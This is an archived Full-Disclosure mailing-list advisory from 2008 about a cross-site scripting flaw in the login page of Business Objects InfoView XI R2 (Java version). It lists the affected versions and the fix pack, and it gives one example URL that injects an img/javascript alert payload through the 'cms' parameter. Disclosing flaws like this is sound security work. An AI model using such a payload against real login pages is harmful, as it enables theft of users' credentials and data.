Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[Full-disclosure] DOINGSOFT-2008-03-10-001 - XSS issue in BOXiR2

from [Sebastien gioria] Network Security [Permanent Link]
Subject: [Full-disclosure] DOINGSOFT-2008-03-10-001 - XSS issue in BOXiR2
Date: Sun, 13 Apr 2008 23:30:32 +0200 

Identification : DOINGSOFT-2008-03-10-001
CVE-ID : pending
Discovery date : 14/12/2007
Correcting Date : 03/04/2008
How to get the patch :
http://support.businessobjects.com/downloads/critical_hot_fixes/default.asp
choose "FixPack 3.5"

Publishing date : 14/04/2008
Product : Business Object Infoview XI R2 Java version
Affected Version : XI R2, XI R2 SP1, XI R2 SP2, XI R2 SP3
Immunes Versions : Business Object Infoview XI R2 .Net version

Vulnerability :  Cross Site Scripting (XSS)
Description : BOxiR2 is vulnerable of  XSS attacks on the login URL  
via the CMS variable.
With malicious utilization an attacker could get login/password and  
datas or reports.


Example :
http://www.monserveurBO.com/businessobjects/enterprise115/desktoplaunch/InfoView/logon/logon.object;jsessionid=7E1EFA4F83461F81157B67D7EA471A12?qryStr=&cmsVisible=true&authenticationVisible=true&referer=&refererFormData=&isFromLogonPage=true&cms=
 

%22%27><img%20src%3d%22javascript:alert(%27XSS%20Test%20Successful 

%27)%22>"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[More messages with this same subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • [Full-disclosure] DOINGSOFT-2008-03-10-001 - XSS issue in BOXiR2, Sebastien gioria <=
Previous by Date:  IOActive Security Advisory: Incorrect input validation in PyString_FromStringAndSize() leads to multiple buffer overflows, Justin Ferguson
Next by Date:  [Full-disclosure] iDefense Security Advisory 04.14.08: ClamAV libclamav PeSpin Heap Overflow Vulnerability, iDefense Labs
Previous by Thread:  IOActive Security Advisory: Incorrect input validation in PyString_FromStringAndSize() leads to multiple buffer overflows, Justin Ferguson
Next by Thread:  [Full-disclosure] iDefense Security Advisory 04.14.08: ClamAV libclamav PeSpin Heap Overflow Vulnerability, iDefense Labs
Indexes:  [Date] [Thread] [Top] [All Lists]